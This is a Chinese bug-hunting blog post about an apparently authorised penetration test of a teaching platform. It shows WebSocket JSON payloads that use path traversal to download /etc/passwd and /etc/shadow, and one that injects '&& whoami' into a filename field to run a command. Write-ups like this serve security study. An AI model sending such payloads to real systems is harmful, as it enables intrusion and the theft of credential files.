从任意文件下载到任意命令执行|挖洞技巧

admin 2024年7月2日23:05:38评论5 views字数 1254阅读4分10秒阅读模式

0x01 前言

记一次授权的某教学实训系统的渗透过程,从任意文件下载到任意命令执行,websocket也可以RCE。

末尾可领取挖洞资料文件

0x02 漏洞发现

在实训平台上,有个漏洞检测工具实验的功能。这个功能会输出对应的结果,感觉这里可能存在任意命令执行,看一下参数是怎么发送的。

从任意文件下载到任意命令执行|挖洞技巧

通过F12发现,是通过websocket发送的,数据包如下:

{    "data": {        "tool_name": "flawfinder",        "object_type": "400",        "list3": "CWE124_Buffer_Underwrite__char_alloca_memcpy_73b.cpp",        "list1": "0",        "list2": "CWE124_Buffer_Underwrite",        "user_id": "210"    }}

这里的list3应该就是文件名字,既然网站是有源码下载功能的,这里可能会存在任意文件下载漏洞,尝试发送数据包:

{    "data": {        "tool_name": "flawfinder",        "object_type": "400",        "list3": "../../../../../../../../../../../../../../../../../../../../../../etc/passwd",        "list1": "0",        "list2": "dem2o",        "user_id": "210"    }}

接着点击下载源码,发现网站报错:

从任意文件下载到任意命令执行|挖洞技巧

虽然报错了,但发现这里的list2也是可控的,再次尝试发送数据包:

{    "data": {        "tool_name": "flawfinder",        "object_type": "400",        "list3": "../../../../../../../../../../../../../../../../../../../../../../etc/shadow",        "list1": "0",        "list2": "../../../../../../../../",        "user_id": "210"    }}

这次就成功的下载到了文件:

从任意文件下载到任意命令执行|挖洞技巧

那么既然开发者没有安全意识,会不会执行的命令也是简单的拼接呢?发送数据包进行尝试:

{    "data": {        "tool_name": "flawfinder",        "object_type": "400",        "list3": "CWE124_Buffer_Underwrite__char_alloca_memcpy_73b.cpp && whoami",        "list1": "0",        "list2": "CWE124_Buffer_Underwrite",        "user_id": "210"    }}

这里直接返回了ubuntu:

从任意文件下载到任意命令执行|挖洞技巧

0x03 最后

第一眼看到漏洞检测工具,就感觉这里可以任意执行命令,不过刚开始挖到的是任意文件读取,后面才挖到了任意命令执行漏洞。还是蛮有趣的一次过程,学习到了websocket数据包的发送。喜欢的师傅可以点赞转发支持一下谢谢!

原文始发于微信公众号(渗透安全HackTwo):从任意文件下载到任意命令执行|挖洞技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日23:05:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从任意文件下载到任意命令执行|挖洞技巧https://cn-sec.com/archives/2902917.html

发表评论

匿名网友 填写信息